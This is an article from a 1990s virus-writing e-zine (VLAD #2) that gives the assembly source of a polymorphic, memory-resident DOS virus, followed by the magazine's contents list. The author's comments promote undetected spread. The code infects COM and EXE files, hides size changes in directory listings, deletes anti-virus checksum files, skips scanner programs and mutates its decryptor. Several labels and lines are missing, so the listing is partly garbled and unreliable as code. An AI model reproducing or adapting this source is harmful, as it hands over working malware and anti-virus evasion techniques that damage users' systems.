Virus Labs & Distribution
VLAD #2 - VLAD Virus Source

;               The VLAD virus!
;               +-------------+

;                                               by Qark/VLAD!

;       OVL files... never again!  I give this piece of advice to anyone.
; By avoiding the infection of OVL's your virus may spread for long times
; without discovery.  Otherwise everything crashes... ok, not everything
; but some large application programs do and that certainly makes people
; suspicious.  Don't do it!
;       WoW!  My first ever polymorphic virus!  Yay! We'll see how it does.
; My goal is to make it so that there is no longer a signature and you'll
; need an algorithm to find it... but some lines of code can't really be
; switched with others so I face a bit of a dilemma.  My code has stood up
; to all the tests I've done on it so far... so we'll see.

;       According to my calculations there are a few million variations on
; this sucker. I have gotten it to the point that there are only seven bytes
; that remain the same.  Not too bad...

;       This virus is completely optimised.  Every routine has been stripped 
; to the barest minimum.  (Unlike Daddy in my last release).  It even passed
; the 'TZ' test.  He only managed to strip five bytes off this sucker.

; Features:  Doesn't infect EXE files that use internal overlays.
;            Doesn't get flagged under heuristics.
;            Deletes CRC checking files.
;            Findfirst/Findnext stealth.
;            Directory listing stealth.
;            Uses the DOS qualify function to fix-up the filename.
;               (This is a pretty good new feature... uppercase, full path
;                and it's smaller than a REP MOVSB!)
;            Int24h handler to stop write protect errors on floppys.
;            Doesn't infect SCAN*.*, TB*.*, F-PR*.* and DV.E*
;            Uses SFT's to bypass some DOS functions.
;            Infects readonly files without changing their attribute.
;            Slightly polymorphic (Seven stable bytes)
;            Doesn't infect COM files that are too big or small.
;       Assemble using a86.

	org     0

	db      0beh                    ;Stands for MOV SI,xxxx
delta   dw      100h                    ;We'll put the data offset in.

	db      0b0h                    ;Stands for MOV AL,xxxx
encryptor       db      0               ;The encryption byte.

	add     si,offset enc_start     ;Point to the bit to encrypt.

	call    encrypt                 ;Decrypt the file.

enc_start:                              ;Everything after this point
					;has been encrypted.

	sub     si,offset enc_end       ;Restore SI.

	;mov     word ptr [si+offset quit],20cdh
	db      0c7h,44h
	db      offset quit
	dw      20cdh
	mov     word ptr [si+offset quit],44c7h
					;Install the TSR now.
	push    bx
	push    cx
	push    ds
	push    es
	push    si

	mov     ax,0CAFEh               ;Eat here.
	int     21h

	cmp     ax,0F00Dh               ;Is there any of this ?
	je      bad_mem_exit            ;Yep!  Time for lunch! No viral
					;activity today!

	mov     ax,es                   ;ES = PSP
	dec     ax
	mov     ds,ax                   ;DS=MCB segment

	cmp     byte ptr [0],'Z'        ;Z=last MCB
	jne     bad_mem_exit
	sub     word ptr [3],160        ;160*16=2560 less memory
	sub     word ptr [12h],160      ;[12h] = PSP:[2] = Top of memory
	mov     ax,word ptr [12h]
	push    cs
	pop     ds                      ;DS=CS

	xor     bx,bx                   ;ES=0
	mov     es,bx

	mov     bx,word ptr es:[132]    ;get int21h

	mov     word ptr [si+offset i21],bx

	mov     bx,word ptr es:[134]    ;get int21h
	mov     word ptr [si+offset i21 + 2],bx


	mov     es,ax                   ;Store our stuff in here...

	xor     di,di
	mov     cx,offset length
	rep     movsb                   ;Move the Virus to ES:DI
	xor     bx,bx                   ;ES=0
	mov     ds,bx

	mov     word ptr [132],offset infection
	mov     word ptr [134],ax

	pop     si
	pop     es
	pop     ds
	pop     cx
	pop     bx

	cmp     byte ptr [si+offset com_exe],1
	je      Exe_Exit

	mov     ax,word ptr [si+offset old3]
	mov     word ptr [100h],ax
	mov     al,byte ptr [si+offset old3+2]
	mov     [102h],al
	mov     ax,100h
	jmp     ax


	mov     ax,es                           ;ES=PSP
	add     ax,10h                          ;PSP+10H = start of actual
						;exe file.
	add     word ptr [si+jump+2],ax         ;Fix jump for original CS.
	mov     sp,word ptr [si+offset orig_sp]
	add     ax,word ptr [si+offset orig_ss] ;Fix segment with AX.
	mov     ss,ax

	push    es
	pop     ds

	xor     si,si
	xor     ax,ax

	db      0eah
	jump    dd      0

	db      '[VLAD virus]',0
	db      'by VLAD!',0

infection       proc    far
	push    ax                      ;Save AX

	xchg    ah,al                   ;Swap AH,AL

	cmp     al,4bh                  ;Cmp AL,xx is smaller than AH
	je      test_file               ;Thanx TZ! :)
	cmp     al,43h
	je      test_file
	cmp     al,56h
	je      test_file
	cmp     ax,006ch
	je      test_file
	cmp     al,3dh
	je      test_file
	cmp     al,11h                  ;Do directory stealth.
	je      dir_listing
	cmp     al,12h
	je      dir_listing

	cmp     al,4eh                  ;Find_first/Find_next stealth.
	je      find_file
	cmp     al,4fh
	je      find_file
	pop ax

	cmp     ax,0CAFEh               ;Where I drink coffee!
	jne     jump1_exit

	mov     ax,0F00Dh               ;What I eat while I'm there.


	jmp     dir_stealth
	jmp     search_stealth
	jmp     jend        

	push    bx
	push    cx
	push    dx
	push    ds
	push    es
	push    si
	push    di

	cmp     al,6ch
	jne     no_fix_6c

	mov     dx,si


	mov     si,dx                   ;DS:SI = Filename.

	push    cs
	pop     es                      ;ES=CS

	mov     ah,60h                  ;Get qualified filename.
	mov     di,offset length        ;DI=Buffer for filename.
	call    int21h                  ;This converts it to uppercase too!

					;CS:LENGTH = Filename in uppercase
					;with path and drive.  Much easier
					;to handle now!

	push    cs
	pop     ds                      ;DS=CS

	mov     si,di                   ;SI=DI=Offset of length.

	cld                             ;Clear direction flag.


	cmp     al,0
	jne     find_ascii_z

	sub     si,4                    ;Points to the file extension. 'EXE'

	lodsw                           ;Mov AX,DS:[SI]

	cmp     ax,'XE'                 ;The 'EX' out of 'EXE'
	jne     test_com
	lodsb                           ;Mov AL,DS:[SI]

	cmp     al,'E'                  ;The last 'E' in 'EXE'
	jne     jump2_exit

	jmp     do_file                 ;EXE-file


	cmp     ax,'OC'                 ;The 'CO' out of 'COM'
	jne     jump2_exit

	lodsb                           ;Mov AL,DS:[SI]

	cmp     al,'M'
	je      do_file                 ;COM-file
	jmp     far_pop_exit            ;Exit


	call    chk4scan
	jc      jump2_Exit
	mov     ax,3d00h                ;Open file.
	mov     dx,di                   ;DX=DI=Offset length.
	call    int21h

	jc      jump2_exit

	mov     bx,ax                   ;File handle into BX.

	call    get_sft                 ;Our SFT.

					;Test for infection.
	mov     ax,word ptr es:[di+0dh] ;File time into AX from SFT.
	mov     word ptr es:[di+2],2    ;Bypass Read only attribute.
	and     ax,1f1fh                ;Get rid of the shit we don't need.
	cmp     al,ah                   ;Compare the seconds with minutes.
	je      jump2_exit

	push    cs
	pop     es                      ;ES=CS

	call    del_crc_files
					;Read the File header in to test
					;for EXE or COM.

	mov     ah,3fh                  ;Read from file.
	mov     cx,1ch                  ;1C bytes.
	call    int21h                  ;DX=Offset length from del_crc_files
					;We don't need the filename anymore
					;so use that space as a buffer.

	;Save int24h and point to our controller.

	xor     ax,ax
	mov     es,ax

	push    word ptr es:[24h*4]     ;Save it.
	push    word ptr es:[24h*4+2]

	mov     word ptr es:[24h*4],offset int24h
	mov     word ptr es:[24h*4+2],cs        ;Point it!

	push    cs
	pop     es
	mov     si,dx                   ;SI=DX=Offset of length.

	mov     ax,word ptr [si]        ;=Start of COM or EXE.
	add     al,ah                   ;Add possible MZ.
	cmp     al,167                  ;Test for MZ.
	je      exe_infect
	jmp     com_infect


	mov     byte ptr com_exe,1      ;Signal EXE file.

	cmp     word ptr [si+1ah],0     ;Test for overlays.
	jne     exe_close_exit          ;Quick... run!!!

	push    si                      ;SI=Offset of header

	add     si,0eh                  ;SS:SP are here.
	mov     di,offset orig_ss
	movsw                           ;Move them!

	mov     di,offset jump          ;The CS:IP go in here.

	lodsw                           ;ADD SI,2 - AX destroyed.

	movsw                           ;Move them!
	pop     si

	call    get_sft                 ;ES:DI = SFT for file.

	mov     ax,word ptr es:[di+11h] ;File length in DX:AX.
	mov     dx,word ptr es:[di+13h]
	mov     cx,16                   ;Divide by paragraphs.
	div     cx

	sub     ax,word ptr [si+8]      ;Subtract headersize.

	mov     word ptr delta,dx       ;Initial IP.

	mov     word ptr [si+14h],dx    ;IP in header.
	mov     word ptr [si+16h],ax    ;CS in header.

	add     dx,offset stack_end     ;Fix SS:SP for file.

	mov     word ptr [si+0eh],ax    ;We'll make SS=CS
	mov     word ptr [si+10h],dx    ;SP=IP+Offset of our buffer.

	mov     ax,word ptr es:[di+11h] ;File length in DX:AX.
	mov     dx,word ptr es:[di+13h]

	add     ax,offset length        ;Add the virus length on.
	adc     dx,0                    ;32bit

	mov     cx,512                  ;Divide by pages.
	div     cx

	and     dx,dx
	jz      no_page_fix

	inc     ax                              ;One more for the partial

	mov     word ptr [si+4],ax              ;Number of pages.
	mov     word ptr [si+2],dx              ;Partial page.

	mov     word ptr es:[di+15h],0          ;Lseek to start of file.
	call    get_date                        ;Save the old time/date.

	mov     ah,40h                          ;Write header to file.
	mov     dx,si                           ;Our header buffer.
	mov     cx,1ch                          ;1CH bytes.
	call    int21h

	jc      exe_close_exit

	mov     ax,4202h                        ;End of file.  Smaller than
						;using SFT's.
	xor     cx,cx                           ;Zero CX
	cwd                                     ;Zero DX (If AX < 8000H then
						;CWD moves zero into DX)
	call    int21h

	call    enc_setup                       ;Thisll encrypt it and move
						;it to the end of file.

	jmp     com_close_exit


	mov     byte ptr com_exe,0      ;Flag COM infection.

	mov     ax,word ptr [si]        ;Save COM files first 3 bytes.
	mov     word ptr old3,ax
	mov     al,[si+2]
	mov     byte ptr old3+2,al

	call    get_sft                 ;SFT is at ES:DI

	mov     ax,es:[di+11h]          ;AX=File Size
	cmp     ax,64000
	ja      com_close_exit          ;Too big.

	cmp     ax,1000
	jb      com_close_exit          ;Too small.

	push    ax                      ;Save filesize.
	mov     newoff,ax               ;For the new jump.
	sub     newoff,3                ;Fix the jump.

	mov     word ptr es:[di+15h],0  ;Lseek to start of file :)

	call    get_date                ;Save original file date.

	mov     ah,40h
	mov     cx,3
	mov     dx,offset new3          ;Write the virus jump to start of
	call    int21h                  ;file.

	pop     ax                      ;Restore file size.
	jc      com_close_exit          ;If an error occurred... exit.

	mov     word ptr es:[di+15h],ax ;Lseek to end of file.

	add     ax,100h                 ;File size + 100h.
	mov     word ptr delta,ax       ;The delta offset for COM files.

	call    enc_setup


	mov     ah,3eh
	call    int21h

	;restore int24h

	xor     ax,ax
	mov     es,ax

	pop     word ptr es:[24h*4+2]
	pop     word ptr es:[24h*4]


	pop     di
	pop     si
	pop     es
	pop     ds
	pop     dx
	pop     cx
	pop     bx

	pop     ax

	db      0eah                    ;Opcode for jmpf
	i21     dd      0

;$$              PROCEDURES       AND          DATA                      $$

int21h  proc    near                    ;Our int 21h
	call    dword ptr cs:[i21]
int21h  endp

int24h  proc    near
	mov     al,3
int24h  endp


	pop     ax              ;Restore AX.
	call    int21h
	jc      end_search

	push    es
	push    bx
	push    si
	mov     ah,2fh
	call    int21h

	mov     si,bx

	mov     bx,word ptr es:[si+16h]
	and     bx,1f1fh
	cmp     bl,bh
	jne     search_pop                         ;Is our marker set ?

	sub     word ptr es:[si+1ah],offset length ;Subtract the file length.
	sbb     word ptr es:[si+1ch],0

	pop     si
	pop     bx
	pop     es
	retf     2                      ;This is the same as an IRET
					;except that the flags aren't popped
					;off so our Carry Remains set.


	;This bit means that when you do a 'dir' there is no change in
	;file size.

	pop     ax

	call    int21h                          ;Call the interrupt
	cmp     al,0                            ;straight off.
	jne     end_of_dir

	push    es
	push    ax                              ;Save em.
	push    bx
	push    si

	mov     ah,2fh                          ;Get DTA address.
	call    int21h

	mov     si,bx
	cmp     byte ptr es:[si],0ffh           ;Extended FCB ?
	jne     not_extended

	add     si,7                            ;Add the extra's.

	mov     bx,word ptr es:[si+17h]         ;Move time.
	and     bx,1f1fh
	cmp     bl,bh
	jne     dir_pop                         ;Is our marker set ?
	sub     word ptr es:[si+1dh],offset length ;Subtract the file length.
	sbb     word ptr es:[si+1fh],0


	pop     si
	pop     bx
	pop     ax
	pop     es



Get_Date        proc    near
;Saves the date into DATE and TIME.

	mov     ax,5700h                ;Get Date/Time.
	call    int21h
	mov     word ptr time,cx
	mov     word ptr date,dx
Get_Date        endp

	time    dw      0
	date    dw      0

Set_marker      proc    near
;Sets the time back and changes the time into an infection marker.

	mov     cx,time
	mov     al,ch
	and     al,1fh
	and     cl,0e0h
	or      cl,al
	mov     dx,date
	mov     ax,5701h
	call    int21h

Set_marker      endp

PolyMorphic     Proc    Near
;Moves random instructions into the code.

	in      ax,40h                  ;Random in AX
	and     ax,6                    ;Between 0-3 * 2
	mov     di,offset enc_loop      ;Put the xor in a random position.
	add     di,ax                   
	mov     word ptr [di],0430h     ;=XOR [SI],AL

	mov     dx,di                   ;Already done this position

	mov     di,offset poly1         ;Put the random instruction here.
	mov     cx,3                    ;3 random instructions.

	in      ax,40h                  ;Random number in AX.
	and     ax,14                   ;Between 0-7.  Multiplied by 2.
					;14 = 00001110b
	mov     si,offset database1     ;SI points to start of database.
	add     si,ax                   ;Add SI with AX the random offset.

	cmp     dx,di                   ;Is the XOR here ?
	jne     poly_move               ;Nope its ok.

	inc     di                      ;Dont move where the XOR is!
	inc     di
	movsw                           ;Move the instruction.
	loop    poly_enc_loop
	;This time we are randomising the 'MOV CX,' in the encryption
	;routine with some POPs.

	in      ax,40h                  ;Random number in AX.
	and     ax,3                    ;0-3
	cmp     ax,3
	je      poly_cx                 ;We only have 3 combinations to
					;choose from so retry if the fourth
					;option gets choosen.
	xchg    al,ah                   ;Swap em for AAD.
	aad                             ;Multiply AH by 10(decimal).
	shr     al,1                    ;Divide by 2.
					;The overall effect of this is
					;MUL AX,5  We need this because
					;we have to move 5 bytes.
	mov     si,offset database2
	add     si,ax                   
	mov     di,offset poly5         ;Where to put the bytes.
	movsw                           ;Move 5 bytes

	in      ax,40h                  ;Rand in AX.
	and     ax,12                   ;0-3*4
	mov     si,offset database3
	add     si,ax
	mov     di,offset poly6

	in      ax,40h
	and     ax,2
	mov     si,offset database4
	add     si,ax
	mov     di,offset poly7

	in      ax,40h
	and     ax,2
	mov     si,offset database5
	add     si,ax
	mov     di,offset poly8
	db      '[VIP v0.01]',0

PolyMorphic     EndP

database1       db      0f6h,0d0h               ;not al         2 bytes
		db      0feh,0c0h               ;inc al         2 bytes
		db      0f6h,0d8h               ;neg al         2 bytes
		db      0feh,0c8h               ;dec al         2 bytes
		db      0d0h,0c0h               ;rol al,1       2 bytes
		db      04h,17h                 ;add al,17h     2 bytes
		db      0d0h,0c8h               ;ror al,1       2 bytes
		db      2ch,17h                 ;sub al,17h     2 bytes

database2:      ;Three variations on the one routine within encrypt.
		mov     cx,offset enc_end - offset enc_start
		push    cs
		pop     ds
		push    cs
		pop     ds
		mov     cx,offset enc_end - offset enc_start

		push    cs
		mov     cx,offset enc_end - offset enc_start
		pop     ds

database3:      ;Four variations of the routine at the start of the virus.

	add     si,offset enc_start + 1
	dec     si
	dec     si
	add     si,offset enc_start +1
	add     si,offset enc_start -1
	inc     si
	inc     si
	add     si,offset enc_start -1

database4:                      ;This is for the INC SI in the encryption.
	inc     si
	inc     si

database5:                      ;This is for the RET in the encryption.
	db      0fh

Enc_Setup       proc    near

	push    cs
	pop     es
	call    polymorphic             ;Our polymorphic routine.

	inc     byte ptr encryptor      ;Change the encryptor.
	jnz     enc_not_zero            ;Test for zero.
					;XOR by Zero is the same byte.
	inc     byte ptr encryptor


	xor     si,si
	mov     di,offset length        ;Offset of our buffer.
	mov     cx,offset length        ;Virus Length.
	rep     movsb                   ;Move the virus up in memory for
	mov     al,byte ptr encryptor
	mov     si,offset length + offset enc_start

	call    encrypt                 ;Encrypt virus.

	mov     ah,40h                  ;Write virus to file
	mov     dx,offset length        ;Buffer for encrypted virus.
	mov     cx,offset length        ;Virus length.
	call    int21h

	call    set_marker              ;Mark file as infected.

Enc_Setup       endp

Get_SFT Proc    Near
;Entry:  BX=File Handle.
;Exit:   ES:DI=SFT.

	push    bx

	mov     ax,1220h        ;Get Job File Table Entry.  The byte pointed
	int     2fh             ;at by ES:[DI] contains the number of the
				;SFT for the file handle.

	xor     bx,bx
	mov     bl,es:[di]      ;Get address of System File Table Entry.
	mov     ax,1216h
	int     2fh

	pop     bx


Get_SFT EndP

Del_CRC_Files   Proc    Near
;Deletes AV CRC checking files.  Much smaller than the previous version.
	std                             ;Scan backwards.

find_slash2:                            ;Find the backslash in the path.

	cmp     al,'\'
	jne     find_slash2

	cld                             ;Scan forwards.
	lodsw                           ;ADD SI,2 - AX is destroyed.

	push    si
	pop     di                      ;DI=SI=Place to put filename.

	mov     si,offset crc_files


	push    di                      ;Save DI.

	cmp     byte ptr [di-1],0
	jne     loadname
	mov     ah,41h
	call    int21h                  ;Delete.

	pop     di

	cmp     si,offset chk4scan
	jb      del_crc


Del_CRC_Files   EndP

	;Delete these...
CRC_Files       db      'ANTI-VIR.DAT',0
		db      'MSAV.CHK',0
		db      'CHKLIST.CPS',0
		db      'CHKLIST.MS',0


Chk4Scan        Proc    Near
;This routine searches for SCAN, TB* and F-PR* and exits with the carry
;set if they are found.  All these files self-check themselves so will alert
;the user to the viruses presence.  DV.EXE is checked by DV.COM and won't
;Assumes DI=offset length, SI=End of filename

	std                             ;Scan backwards.

find_slash:                             ;Find the backslash in the path.
	cmp     al,'\'
	jne     find_slash
	cld                             ;Scan forwards.
	lodsw                           ;SI points to byte before slash
					;so we add 2.  AX is killed.
	cmp     ax,'CS'                 ;The 'SC' from SCAN.
	jne     tbcheck
	cmp     ax,'NA'                 ;The 'AN' from SCAN
	jne     chkfail
	stc                             ;Set carry.
	cmp     ax,'BT'                 ;The 'TB' from TBSAN.
	jne     fcheck
	stc                             ;Set carry.
	cmp     ax,'-F'                 ;The 'F-' from F-PROT.
	jne     dvcheck
	cmp     ax,'RP'                 ;The 'PR' from F-PROT.
	jne     chkfail
	stc                             ;Set carry
	cmp     ax,'VD'                 ;The 'DV' from DV.EXE.
	jne     chkfail
	cmp     ax,'E.'                 ;The '.E' from DV.EXE.
	jne     chkfail
	clc                             ;Clear the carry.

Chk4Scan        EndP

	com_exe db      0                       ;1=EXE

	New3    db      0e9h                    ;The jump for the start of
	Newoff  dw      0                       ;COM files.

	old3    db      0cdh,20h,90h            ;First 3 comfile bytes here.

	orig_ss dw      0
	orig_sp dw      0


encrypt proc    near            ;Encrypts the virus.
	;SI = offset of bit to be encrypted
	;AL = encryptor
	mov     cx,offset enc_end - offset enc_start
	push    cs
	pop     ds

poly1:                                  ;The next four lines of code are
	ror     al,1                    ;continuously swapped and moved with
poly2:                                  ;other code.  Ever changing...
	ror     al,1
	ror     al,1
	xor     byte ptr [si],al
	inc     si
	loop    enc_loop

encrypt endp

length  db      100 dup (0)



ARTICLE.1_2       Aims and Policies
ARTICLE.1_3       Greets
ARTICLE.1_4       Members/Joining
ARTICLE.1_5       Dist/Contact Info
ARTICLE.1_6       Hidden Area Info
ARTICLE.1_7       Coding the Mag


The Press
ARTICLE.2_2       Leprechaun Interview
ARTICLE.2_3       Flash Bios
ARTICLE.2_4       AMI Flash Specification
ARTICLE.2_5       Assembly Guide
ARTICLE.2_6       Virus Law
ARTICLE.2_7       Feedback


ARTICLE.3_2       TSR Tutorial
ARTICLE.3_5       Kennedy Disasm
ARTICLE.3_6       Darth Vader Strain B Disasm
ARTICLE.3_7       Gergana.222 Disasm


Virus Descriptions
ARTICLE.4_2       VLAD Virus Source
ARTICLE.4_3       Republic Source
ARTICLE.4_4       BIOS Meningitis Source
ARTICLE.4_5       Prodigy 3 Source
ARTICLE.4_6       Estonia Source
ARTICLE.4_7       What's Next


About Debug Scripts
ARTICLE.5_2       VLAD Script
ARTICLE.5_3       Republic Script
ARTICLE.5_4       BIOS Meningitis Dropper Script
ARTICLE.5_5       Prodigy 3 Script
ARTICLE.5_6       Estonia Script
ARTICLE.5_7       The End

About VLAD - Links - Contact Us - Main